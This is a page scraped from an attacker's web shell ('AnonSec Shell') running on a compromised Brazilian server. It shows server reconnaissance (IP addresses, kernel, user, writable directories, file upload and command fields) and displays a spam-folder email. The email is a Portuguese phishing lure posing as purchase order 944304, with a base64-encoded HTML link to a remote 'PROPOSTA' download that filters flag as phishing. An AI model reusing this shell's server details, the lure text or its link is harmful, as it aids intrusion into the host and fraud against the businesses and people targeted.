AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1741394460.M382477P18566.dedi-4363141.lrsys.com.br,S=6732,W=6854
Return-Path: <marina.garbossa810@pq4419.beatrizlima.auction>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id IB5+FhySy2eGSAAAIWsJAg
	(envelope-from <marina.garbossa810@pq4419.beatrizlima.auction>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 07 Mar 2025 21:41:00 -0300
Return-path: <marina.garbossa810@pq4419.beatrizlima.auction>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Fri, 07 Mar 2025 21:41:00 -0300
Received: from pq4419.beatrizlima.auction ([37.27.245.212]:52530)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <marina.garbossa810@pq4419.beatrizlima.auction>)
	id 1tqiFL-000000004oW-1G9t
	for financeiro@lrsys.com.br;
	Fri, 07 Mar 2025 21:41:00 -0300
Received: from pq4419.beatrizlima.auction (localhost [127.0.0.1])
	by pq4419.beatrizlima.auction (Postfix) with ESMTP id 7359C22A31
	for <financeiro@lrsys.com.br>; Fri,  7 Mar 2025 21:40:13 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=pq4419.beatrizlima.auction; s=default; t=1741394413;
	bh=W7A3nRgDE0uwmGsJFnitPbG0uEOECku/w3SoISiMdpY=;
	h=From:To:Reply-To:Date:Subject:From;
	b=o59ksLEVhxpjJJq63CmfASpSgJ4BPNUpA6tKtszeCb3aQYtDdvomgR7bPD5jKYVxi
	 Prmb7oDOW4slrf4sQusEl8PBd5HX5CaX7/fmA1xClLIGDOlVGFNYER+oN40vgR4aFR
	 AFAwqijlSh98vOc8H/znbaPeEl9faxLfKoACK4agEK3Yg5zuBhBiU051iKjdfa0p3H
	 +OpFjerbO4MMfdBaYo50NgVfqmvEwF6G0cU6KBN9B4IaJMCICEFwZCKFhIOsZDwe63
	 Es9aJmiwrIMOgxSFfz7UXe75bDeBRRcyrW9idxXPg+XceMoiHLjh5mgH7ScGFxxBSL
	 P5OD4P8x5epjA==
From: "Mariana R. Garbossa" <marina.garbossa810@pq4419.beatrizlima.auction>
To: financeiro@lrsys.com.br
Content-Type: multipart/alternative; boundary="hqMy9BpThPQDJGo6I5tr=_yuYWGmfB3pMC"
MIME-Version: 1.0
Reply-To: xgfg@pq4419.beatrizlima.auction
Date: Fri, 7 Mar 2025 21:40:13 -0300
Message-Id: <20250308004013.7359C22A31@pq4419.beatrizlima.auction>
X-Spam-Status: Yes, score=9.7
X-Spam-Score: 97
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message financeiro@lrsys.com.br,
    Autorizamos a compra dos materiais, conforme proposta anexa da vossa empresa.
    
 Content analysis details:   (9.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: 64.host.secureserver.net]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: beatrizlima.auction]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [37.27.245.212 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [37.27.245.212 listed in bl.score.senderscore.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.0 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  Pedido de compra 944304 - 07/03/2025

This is a multi-part message in MIME format

--hqMy9BpThPQDJGo6I5tr=_yuYWGmfB3pMC
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--hqMy9BpThPQDJGo6I5tr=_yuYWGmfB3pMC
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PGh0bWw+PGhlYWQ+CjwvaGVhZD4KPGJvZHk+CjxkaXYgY2xhc3M9IjM3LnJjbUJvZHlCV0hlOXBw
NSIgc3R5bGU9ImZvbnQtc2l6ZTogMTJwdDsgZm9udC1mYW1pbHk6IFRhaG9tYSxBcmlhbCxIZWx2
ZXRpY2Esc2Fucy1zZXJpZiI+CjxkaXY+ZmluYW5jZWlyb0BscnN5cy5jb20uYnIsPC9kaXY+Cjxk
aXY+Jm5ic3A7PC9kaXY+CjxkaXY+QXV0b3JpemFtb3MgYSBjb21wcmEgZG9zIG1hdGVyaWFpcywg
Y29uZm9ybWUgcHJvcG9zdGEgYW5leGEgZGEgdm9zc2EgZW1wcmVzYS48L2Rpdj4KPGRpdj4mbmJz
cDs8L2Rpdj4KCjxhIGhyZWY9IkhUdHBzOi8vNC4xODQuMjAyLjY0Lmhvc3Quc2VjdXJlc2VydmVy
Lm5ldC9ZMjFpRHBMcDBLRFlrL1JZTy5PUDBreFBsWTRGMy8vSW1wcmltaXJfUFJPUE9TVEFfOTQ0
MzA0IiB0YXJnZXQ9Il9ibGFuayI+UFJPUE9TVEEgMDcvMDMvMjAyNS05NDQzMDQ8L2E+PGJyIC8+
Cgo8ZGl2PiZuYnNwOzwvZGl2Pgo8ZGl2PkJvbSBmaW0gZGUgc2VtYW5hIHBhcmEgdm9jJiMyMzQ7
LiZuYnNwOzwvZGl2Pgo8ZGl2IGlkPSJ2MXNpZ25hdHVyZSI+PGJyPgo8cD48c3BhbiBzdHlsZT0i
Zm9udC1mYW1pbHk6IHRhaG9tYSwgYXJpYWwsIGhlbHZldGljYSwgc2Fucy1zZXJpZjsgZm9udC1z
aXplOiAxMnB0Ij5PYnJpZ2Fkbyw8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiB0YWhv
bWEsIGFyaWFsLCBoZWx2ZXRpY2EsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTJwdCI+PC9zcGFu
PjwvcD4KPC9kaXY+Cgo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0ibWFyZ2luLXRvcDogMHB4
OyBtYXJnaW4tYm90dG9tOiAwcHg7IGZvbnQtZmFtaWx5OiBDYWxpYnJpLEhlbHZldGljYSxzYW5z
LXNlcmlmIj4KPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBDYWxpYnJpLEhlbHZldGljYSxz
YW5zLXNlcmlmOyBjb2xvcjogcmdiKDAsMTc2LDgwKTsgZm9udC1zaXplOiAxNHB0Ij5NQVJJQU5B
IFJFR0lOQSBHQVJCT1NTQTwvc3Bhbj48L2I+PGJyPgo8L3A+CjwvYm9keT48L2h0bWw+Cg==

--hqMy9BpThPQDJGo6I5tr=_yuYWGmfB3pMC--


Anon7 - 2022
AnonSec Team